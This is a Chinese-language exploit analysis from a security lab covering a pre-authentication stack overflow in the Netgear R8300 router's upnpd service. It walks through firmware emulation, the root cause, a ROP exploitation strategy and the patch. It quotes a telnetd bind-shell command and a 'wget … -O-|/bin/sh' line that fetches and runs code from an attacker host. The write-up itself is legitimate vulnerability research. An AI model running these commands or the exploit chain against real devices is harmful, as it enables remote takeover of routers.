RSS Feed
更好更安全的互联网

Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现

2020-11-03

作者:fenix@知道创宇404实验室
时间:2020年8月25日

1.前言

R8300 是 Netgear 旗下的一款三频无线路由,主要在北美发售,官方售价 $229.99。

2020 年 7 月 31 日,Netgear 官方发布安全公告,在更新版固件 1.0.2.134 中修复了 R8300 的一个未授权 RCE 漏洞【1】。2020 年 8 月 18 日,SSD Secure Disclosure 上公开了该漏洞的细节及 EXP【2】

该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。

回顾了下整个复现流程还是很有趣的,特此记录。

2.环境搭建

下面先搭建漏洞调试环境。在有设备的情况下,有多种直接获取系统 shell 的方式,如:

  1. 硬件调试接口,如:UART
  2. 历史 RCE 漏洞,如:NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞【3】
  3. 设备自身的后门,Unlocking the Netgear Telnet Console【4】
  4. 破解固件检验算法,开启 telnet 或植入反连程序。

不幸的是,没有设备...

理论上,只要 CPU 指令集对的上,就可以跑起来,所以我们还可以利用手头的树莓派、路由器摄像头的开发板等来运行。最后一个就是基于 QEMU 的指令翻译,可以在现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。

下载固件

Netgear 还是很良心的,在官网提供了历史固件下载。

下载地址:【5】

下载的固件 md5sum 如下:

binwalk 可以正确识别。

使用 binwalk -Me 提取出 Squashfs 文件系统,漏洞程序是 ARMv5 架构,动态链接,且去除了符号表。

QEMU 模拟

在基于 QEMU 的固件模拟这块,网上也有一些开源的平台,如比较出名的 firmadyne【6】、ARM-X【7】。不过相比于使用这种集成环境,我更倾向于自己动手,精简但够用。

相应的技巧在之前的文章 《Vivotek 摄像头远程栈溢出漏洞分析及利用》【8】也有提及,步骤大同小异。

在 Host 机上创建一个 tap 接口并分配 IP,启动虚拟机:

用户名和密码都是 root,为虚拟机分配 IP:

这样 Host 和虚拟机就网络互通了,然后挂载 proc、dev,最后 chroot 即可。

修复运行依赖

直接运行没有任何报错就退出了,服务也没启动。

经过调试发现是打开文件失败。

手动创建 /tmp/var/run 目录,再次运行提示缺少 /dev/nvram

NVRAM( 非易失性 RAM) 用于存储路由器的配置信息,而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下,我们可以使用 LD_PRELOAD 劫持以下函数符号。

网上找到一个现成的实现:【9】,交叉编译:

还是报错,找不到 dlsym 的符号。之所以会用到 dlsym,是因为该库的实现者还同时 hook 了 systemfopenopen 等函数,这对于修复文件缺失依赖,查找命令注入漏洞大有裨益。

/lib/libdl.so.0 导出了该符号。

可以跑起来了,不过由于缺少配置信息,还是会异常退出。接下来要做的就是根据上面的日志补全配置信息,其实特别希望能有一台 R8300,导出里面的 nvram 配置...

简单举个例子,upnpd_debug_level 是控制日志级别的,sub_B813() 是输出日志的函数,只要 upnpd_debug_level > sub_B813() 的第一个参数,就可以在终端输出日志。

下面分享一份 nvram 配置,至于为什么这么设置,可以查看对应的汇编代码逻辑(配置的有问题的话很容易触发段错误)。

upnpd 服务成功运行!

3.漏洞分析

该漏洞的原理很简单,使用 strcpy() 拷贝导致的缓冲区溢出,来看看调用流程。

在 sub_1D020() 中使用 recvfrom() 从套接字接受最大长度 0x1fff 的 UDP 报文数据。

在 sub_25E04() 中调用 strcpy() 将以上数据拷贝到大小为 0x634 - 0x58 = 0x5dc 的 buffer。

4.利用分析

通过 checksec 可知程序本身只开了 NX 保护,从原漏洞详情得知 R8300 上开了 ASLR。

很容易构造出可控 PC 的 payload,唯一需要注意的是栈上有个 v39 的指针 v41,覆盖的时候将其指向有效地址即可正常返回。

显然,R4 - R11 也是可控的,思考一下目前的情况:

  1. 开了 NX 不能用 shellcode
  2. 有 ASLR,不能泄漏地址,不能使用各种 LIB 库中的符号和 gadget
  3. strcpy() 函数导致的溢出,payload 中不能包含 \x00 字符。

其实可控 PC 后已经可以干很多事了,upnpd 内包含大量 system 函数调用,比如 reboot

下面探讨下更为 general 的 RCE 利用,一般像这种 ROP 的 payload 中包含 \x00,覆盖返回地址的payload 又不能包含 \x00,就要想办法提前将 ROP payload 注入目标内存。

比如,利用内存未初始化问题,构造如下 PoC,每个 payload 前添加 \x00 防止程序崩溃。

在漏洞点下断点,

两次拷贝完成后,看下内存布局:

可以看到,由于接收 socket 数据的 buffer 未初始化,在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间,也足以给 ROP 的 payload 一片容身之地。

借用原作者的一张图,利用原理如下:

关于 ROP,使用 strcpy 调用在 bss 上拼接出命令字符串,并调整 R0 指向这段内存,然后跳转 system 执行即可。

原作者构造的 system("telnetd -l /bin/sh -p 9999& ") 绑定型 shell。

经过分析,我发现可以构造 system("wget http://{reverse_ip}:{reverse_port} -O-|/bin/sh") 调用,从而无限制任意命令执行。

构造的关键在于下面这张表。

发送 payload,通过 hook 的日志可以看到,ROP 利用链按照预期工作,可以无限制远程命令执行。 (由于模拟环境的问题,wget 命令运行段错误了...)

5.补丁分析

在更新版固件 V1.0.2.134 中,用 strncpy() 代替 strcpy(),限制了拷贝长度为 0x5db,正好是 buffer 长度减 1。

补丁中还特意用 memset() 初始化了 buffer。这是由于 strncpy() 在拷贝时,如果 n < src 的长度,只是将 src 的前 n 个字符复制到 dest 的前 n 个字符,不会自动添加 \x00,也就是结果 dest 不包括 \x00,需要再手动添加一个 \x00;如果 src 的长度小于 n 个字节,则以\x00 填充 dest 直到复制完 n 个字节。

结合上面的 RCE 利用过程,可见申请内存之后及时初始化是个很好的编码习惯,也能一定程度上避免很多安全问题。

6.影响范围

通过 ZoomEye 网络空间搜索引擎对关键字 "SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0" 进行搜索,共发现 18889 条 Netgear UPnP 服务的 IP 历史记录,主要分布在美国【10】。其中是 R8300 这个型号的会受到该漏洞影响。

7.其他

说句题外话,由于协议设计缺陷,历史上 UPnP 也被多次曝出漏洞,比如经典的 SSDP 反射放大用来 DDoS 的问题。

在我们的模拟环境中进行测试,发送 132 bytes 的 ST: ssdp:all M-SEARCH 查询请求 ,服务器响应了 4063 bytes 的数据,放大倍率高达 30.8。

因此,建议网络管理员禁止 SSDP UDP 1900 端口的入站请求。

8.相关链接

【1】: Netgear 官方安全公告

https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211

【2】: 漏洞详情

https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/

【3】: NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞

https://www.seebug.org/vuldb/ssvid-98253

【4】: Unlocking the Netgear Telnet Console

https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500

【5】: 固件下载

https://www.netgear.com/support/product/R8300.aspx#download

【6】: firmadyne

https://github.com/firmadyne/firmadyne

【7】: ARM-X

https://github.com/therealsaumil/armx

【8】: Vivotek 摄像头远程栈溢出漏洞分析及利用

https://paper.seebug.org/480/

【9】: nvram hook 库

https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c

【10】: ZoomEye 搜索

https://www.zoomeye.org/searchResult?q=%22SERVER%3A%20Linux%2F2.6.12%2C%20UPnP%2F1.0%2C%20NETGEAR-UPNP%2F1.0%22


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1311/

作者:江 | Categories:技术分享 | Tags:

发表评论